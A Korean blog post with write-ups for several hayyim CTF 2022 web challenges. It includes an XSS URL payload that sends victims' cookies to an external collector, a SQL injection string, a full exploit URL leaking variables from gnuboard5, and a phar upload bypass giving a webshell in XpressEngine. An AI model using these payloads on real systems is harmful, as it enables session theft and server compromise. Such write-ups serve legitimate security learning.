hayyim CTF 2022 writeup
Cyberchef (web)
XSS를 통한 Cookie 탈취 문제이다.
cyberchef 는 github에 opensource로 공개되어 있는데, issue 에서 XSS payload를 얻을 수 있었다.
https://github.com/gchq/CyberChef/issues/1265
http://1.230.253.91:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3D%60https://enej1x0to8q6ktu.m.pipedream.net/?cookie%3D$%7Bdocument.cookie%7D`%3C/script%3E',100,false)&input=MTAwLCAxMDA
``hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}`
cyberheadchef (web)
해당 문제는 위 문제와 유사하지만 필터링이 걸려 있다. 이를 우회하기 위해서는 아래 링크에 잘 설명 되어 있다.
https://gist.github.com/as3617/256b92b451a863732e6c8992cbeda0a9#file-cyber-headchef-md
Not E (web)
SQL 문제이다. 위 첨부파일에서 utils.js 파일 내용 중, 아래 코드를 보면 ? 값을 다른 인자로 치환한 뒤 sql query를 리턴한다. SQLI 방어를 위해 더블쿼터와 역슬레시를 필터링 하고 있다.
위 코드에서 `sql.replace('?', ~~)` 를 보면, javascript 에서 `replace()` 함수는 한번만 문자를 다른 것으로 바꿔준다. 모든 문자를 바꾸기 위해서는 `param.replace(/["\\]/g, '')` 처럼 정규 표현식을 사용해야만 모든 문자를 바꿀 수 있다.
이 점을 잘 생각해 두자.
설명을 위해 위 문제의 첨부파일 중, 중요한 부분만 가져와 test.js 파일을 만들었다.
const noteId = "1";
const title = "title";
const content = "content";
const login = "universe";
const data = (sql, params = []) => {
for (const param of params) {
if (typeof param === 'number') {
sql = sql.replace('?', param);
} else if (typeof param === 'string') {
sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
console.log(sql);
} else {
sql = sql.replace('?', ""); // unreachable
}
}
console.log("최종: " + sql);
}
data('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, login ]);
위 코드를 실행하면, `replace()` 함수에 대해 설명한 것 처럼 ? 문자가 하나씩 다른 변수의 값으로 변경되는 것을 볼 수 있다.
만약, `title` 변수의 값을 `?` 로 바꾼 뒤, 실행하면 결과는 다음과 같다.
content 변수의 값은 세번째 위치에 있지 않고, 두번째 위치에 들어간 것을 볼 수 있다. 또한, `JSON.stringify()` 함수로 인해 더블쿼터가 한번 더 감싸져서 escape 된 것을 볼 수 있다.
최종적으로, content 변수에 `,(select flag from flag),'universe')-- -` 같은 값을 넣게 되면, sqli 가 가능하다는 것을 알 수 있다.
`hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}`
Gnuboard (web)
해당 문제는 gnuboard5 최신 버전에서 0-day 를 찾는(?) 문제이다.
위 첨부파일에서 Dockerfile 파일을 보면, common.php 파일 안에 `$flag` 라는 변수가 저장된 것을 볼 수 있다.
발생한 취약점은 php의 가변 변수(혹은 동적 변수, dynamic variable name)를 통한 변수 값 leak 이다.
취약한 파일의 위치는 /shop/kakaopay/pc_pay_result.php 에서 발생한다.
취약점을 트리거 하기 위한 설명은 다음과 같다.
우선 `resultCode` 값을 GET 방식으로 0000 이라는 값을 보내야 한다.
이후, `HttpClient` 객체를 이용하여 `72번째` 줄에 `$authUrl` 변수에 저장된 값으로 request를 보내게 된다. 만약 에러가 발생한다면, `78번째` 줄에서 except를 발생 시킨다.
`$authUrl` 변수는 마찬가지로 GET 방식으로 값을 전달할 수 있다. 즉, 공격자는 `$authUrl` 변수의 값을 조작하여 `65번째` 줄에서 예외를 의도적으로 일으킬 수 있다.
위 상황에서 예외가 발생한다면, `161번째` 줄로 except 발생을 처리한다. `175번째` 줄을 보면, 마찬가지로 `HttpClient` 객체를 이용하여 request 하는 것을 볼 수 있다.
위 코드에서 `175번째` 줄에 `$netCancel` 변수도 GET 방식으로 데이터를 전송할 수 있다.
만약, 이번에는 정상적인 URL을 입력할 경우, 응답 받은 body 값(`176번째`)을 echo로 출력하는 것을 볼 수 있다.
`186~187번째` 줄을 보면 `$$` 를 이용하여 php 가변 변수를 사용하는 것을 볼 수 있다.
`$netcancelResultString` 변수는 request에 대한 응답 값이 들어가므로, 공격자는 이를 조작하여 원하는 변수의 내용을 출력할 수 있다.
위 코드를 보면 두번의 가변변수를 사용한다. 따라서 GET 방식으로 전송할 수 있는 변수 중, `$authToken`(`33번째`) 변수를 이용한다.
공격자의 서버는 응답 값으로 authToken을 리턴한다.
첫번째 `str_replace()` 에서 `$$netcancelResultString` 변수는 `$authToken` 이 되므로, 공격자가 GET 방식으로 전송한 값이 `$netcancelResultString`에 들어간다.
두번째 `str_replace()` 에서 `$$netcancelResultString` 변수는 공격자가 GET 방식으로 전송한 값으로 대체된다. 예를 들어, 공격자가 flag라는 값을 전송하면 `$flag` 가 되므로 이 값이 `$netcancelResultString`에 들어간다.
최종적으로 `echo` 를 통해 `common.php` 파일에 있는 `$flag` 변수의 값을 출력하여 볼 수 있다.
최종 payload는 다음과 같다.
GET parameter
- resultCode = 0000
- netCancelUrl = https://test.lactea.kr/test.php ( => response = authToken)
- authToken = flag
url
/shop/kakaopay/pc_pay_result.php?resultCode=0000&netCancelUrl=https://test.lactea.kr/test.php&authToken=flag
`hsctf{799c12711fd9d697a00ae3e6329a7979cc648d7cdae0fbb3d62f23a1f7c7f544}`
XpressEngine (web)
flag 파일은 / 경로에 있으며, 이를 읽어야 한다.
https://gist.github.com/posix-lee/cf5953b2d1157695fc2e61951182c020#file-xpressengine-md
위 링크에 설명되어 있는 것 처럼, 공격자가 "미디어 라이브러리" 기능을 통해 phar 파일을 업로드 하면 업로드 경로를 알 수 있고, 성공적으로 webshell을 얻을 수 있다.
코드 분석을 통해 설명하고자 한다.
우선, 회원가입을 하고 "미디어 라이브러리" 기능을 선택한다.
아래 사진처럼 파일을 업로드 할 수 있다.
파일 업로드를 처리하는 파일은 `/core/src/Xpressengine/MediaLibrary/MediaLibraryHandler.php` 에서 `484번째` 줄에서 시작한다. 아래 코드는 파일 크기를 검증하고 있다.
이후 파일 확장자를 검증한다.
`502 ~ 516번째` 줄에서는 파일 확장자를 검사하는 로직인데 디버깅 해본 결과, php, phar 등을 넣어도 이 로직에서 걸리지 않는다. 확장자를 검증하는 곳은 `518번째` 줄이다.
위 코드에서 `518번째` 줄에 `upload()` 함수를 호출하는데, 이 함수의 위치는 `/core/src/Xpressengine/Storage/Storage.php` 에서 `146 번째` 줄 이다. `155번째` 줄에서 `validateUploadedFile()` 함수를 호출한다.
`validateUploadedFile()` 함수는 위 파일에 존재하는데, 2가지의 조건문을 수행한다. 이 중에서, 2번째 조건문에서 파일 확장자를 검증한다. `$mimeFilter` 변수에 뭔가가 저장되어 있는데, 이를 찾아봤다.
같은 파일에 `131번째` 줄에 아래 사진처럼 코드를 추가하여 `$mimeFilter` 변수에 어떠한 값이 들어가 있는지 확인해보았다.
echo "<pre>" . var_export($mimeFilter, true) . "</pre>";
위 코드에 대한 출력 값은 다음과 같다. 여러개의 key 값 중, black list와 white list 목록이 보인다. `black list`에는 pdf 등을 필터링 하고 있고, `white list`에는 svg 등을 허용하고 있다. 하지만 black list에 보면 php 등을 필터링 하고 있지만, `phar` 은 필터링 하지 않는다.
(`/vendor/league/flysystem/src/Util/MimeType.php` 파일에서 정의를 볼 수 있다.)
array (
'default' => 'local',
'cloud' => 's3',
'disks' =>
array (
'local' =>
array (
'driver' => 'local',
'root' => '/var/www/html/storage/app',
'url' => '/storage/app/',
),
'public' =>
array (
'driver' => 'local',
'root' => '/var/www/html/storage/app/public',
'url' => '/storage',
'visibility' => 'public',
),
'media' =>
array (
'driver' => 'local',
'root' => '/var/www/html/storage/app/public/media',
'url' => '/storage/app/public/media',
'visibility' => 'public',
),
's3' =>
array (
'driver' => 's3',
'key' => NULL,
'secret' => NULL,
'region' => NULL,
'bucket' => NULL,
),
),
'division' =>
array (
'enable' => false,
'disks' =>
array (
0 => 's3',
),
),
'filter' => 'black',
'mimes' =>
array (
'black' =>
array (
'pdf' => 'application/pdf',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mpga' => 'audio/mpeg',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'rv' => 'video/vnd.rn-realvideo',
'wav' => 'audio/x-wav',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'png' => 'image/png',
'gif' => 'image/gif',
'bmp' => 'image/bmp',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'mpeg' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'qt' => 'video/quicktime',
'mov' => 'video/quicktime',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie',
'3g2' => 'video/3gpp2',
'3gp' => 'video/3gp',
'mp4' => 'video/mp4',
'm4a' => 'audio/x-m4a',
'f4v' => 'video/mp4',
'webm' => 'video/webm',
'aac' => 'audio/x-acc',
'm4u' => 'application/vnd.mpegurl',
'wmv' => 'video/x-ms-wmv',
'au' => 'audio/x-au',
'ac3' => 'audio/ac3',
'flac' => 'audio/x-flac',
'ogg' => 'audio/ogg',
'wma' => 'audio/x-ms-wma',
'ico' =>
array (
0 => 'image/x-icon',
1 => 'image/vnd.microsoft.icon',
),
'php' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php3' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'js' => 'application/javascript',
),
'white' =>
array (
'svg' => 'image/svg+xml',
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'csv' => 'text/x-comma-separated-values',
'bin' => 'application/octet-stream',
'dms' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'class' => 'application/octet-stream',
'psd' => 'application/x-photoshop',
'so' => 'application/octet-stream',
'sea' => 'application/octet-stream',
'dll' => 'application/octet-stream',
'oda' => 'application/oda',
'ai' => 'application/pdf',
'eps' => 'application/postscript',
'ps' => 'application/postscript',
'smi' => 'application/smil',
'smil' => 'application/smil',
'mif' => 'application/vnd.mif',
'xls' => 'application/vnd.ms-excel',
'ppt' => 'application/powerpoint',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'wbxml' => 'application/wbxml',
'wmlc' => 'application/wmlc',
'dcr' => 'application/x-director',
'dir' => 'application/x-director',
'dxr' => 'application/x-director',
'dvi' => 'application/x-dvi',
'gtar' => 'application/x-gtar',
'gz' => 'application/x-gzip',
'gzip' => 'application/x-gzip',
'swf' => 'application/x-shockwave-flash',
'sit' => 'application/x-stuffit',
'tar' => 'application/x-tar',
'tgz' => 'application/x-tar',
'z' => 'application/x-compress',
'xhtml' => 'application/xhtml+xml',
'xht' => 'application/xhtml+xml',
'zip' =>
array (
0 => 'application/x-zip',
1 => 'application/zip',
),
'rar' => 'application/x-rar',
'css' => 'text/css',
'html' => 'text/html',
'htm' => 'text/html',
'shtml' => 'text/html',
'txt' => 'text/plain',
'text' => 'text/plain',
'log' => 'text/plain',
'rtx' => 'text/richtext',
'rtf' => 'text/rtf',
'xml' => 'application/xml',
'xsl' => 'application/xml',
'dmn' => 'application/octet-stream',
'bpmn' => 'application/octet-stream',
'doc' => 'application/msword',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'docm' => 'application/vnd.ms-word.template.macroEnabled.12',
'dot' => 'application/msword',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'word' => 'application/msword',
'xl' => 'application/excel',
'eml' => 'message/rfc822',
'json' =>
array (
0 => 'application/json',
1 => 'application/octet-stream',
2 => 'text/plain',
),
'pem' => 'application/x-x509-user-cert',
'p10' => 'application/x-pkcs10',
'p12' => 'application/x-pkcs12',
'p7a' => 'application/x-pkcs7-signature',
'p7c' => 'application/pkcs7-mime',
'p7m' => 'application/pkcs7-mime',
'p7r' => 'application/x-pkcs7-certreqresp',
'p7s' => 'application/pkcs7-signature',
'crt' => 'application/x-x509-ca-cert',
'crl' => 'application/pkix-crl',
'der' => 'application/x-x509-ca-cert',
'kdb' => 'application/octet-stream',
'pgp' => 'application/pgp',
'gpg' => 'application/gpg-keys',
'sst' => 'application/octet-stream',
'csr' => 'application/octet-stream',
'rsa' => 'application/x-pkcs7',
'cer' => 'application/pkix-cert',
'm3u' => 'text/plain',
'xspf' => 'application/xspf+xml',
'vlc' => 'application/videolan',
'kmz' => 'application/vnd.google-earth.kmz',
'kml' => 'application/vnd.google-earth.kml+xml',
'ics' => 'text/calendar',
'zsh' => 'text/x-scriptzsh',
'7zip' => 'application/x-7z-compressed',
'cdr' => 'application/cdr',
'jar' => 'application/java-archive',
'tex' => 'application/x-tex',
'latex' => 'application/x-latex',
'odt' => 'application/vnd.oasis.opendocument.text',
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
'odp' => 'application/vnd.oasis.opendocument.presentation',
'odg' => 'application/vnd.oasis.opendocument.graphics',
'odc' => 'application/vnd.oasis.opendocument.chart',
'odf' => 'application/vnd.oasis.opendocument.formula',
'odi' => 'application/vnd.oasis.opendocument.image',
'odm' => 'application/vnd.oasis.opendocument.text-master',
'odb' => 'application/vnd.oasis.opendocument.database',
'ott' => 'application/vnd.oasis.opendocument.text-template',
'hwp' => 'application/x-hwp',
),
),
),
))
결과적으로, "미디어 라이브러리" 기능을 통해 phar 파일을 업로드 하면, webshell을 얻을 수 있다.
아래 사진처럼, 파일을 업로드 하면 응답 값으로 업로드 경로를 얻을 수 있다.
위에서 얻은 상대 경로를 종합하면, webshell 파일의 절대 경로는 다음과 같다.
/storage/app/public/media/public/media_library/d9/02/20220214121711b82261995fa20e91fc20da00dccde00c16b3278b.phar
`hsctf{860e27b9898e2510c14fa0f5efcd44f53437827aac9e26b8b8e792ce95b04ae2}`
'🚩CTF' 카테고리의 다른 글
[WACon 2022] Kuncɛlan write up (0) | 2022.06.27 |
---|---|
zer0pts ctf 2022 GitFile Explorer write up (0) | 2022.03.27 |
HTML Viewer writeup (0) | 2022.02.04 |
[UMass 2021 CTF] write up (0) | 2021.03.29 |
[DamCTF 2020] write up (1) | 2020.10.12 |
댓글
이 글 공유하기
다른 글
-
[WACon 2022] Kuncɛlan write up
[WACon 2022] Kuncɛlan write up
2022.06.27 -
zer0pts ctf 2022 GitFile Explorer write up
zer0pts ctf 2022 GitFile Explorer write up
2022.03.27 -
HTML Viewer writeup
HTML Viewer writeup
2022.02.04 -
[UMass 2021 CTF] write up
[UMass 2021 CTF] write up
2021.03.29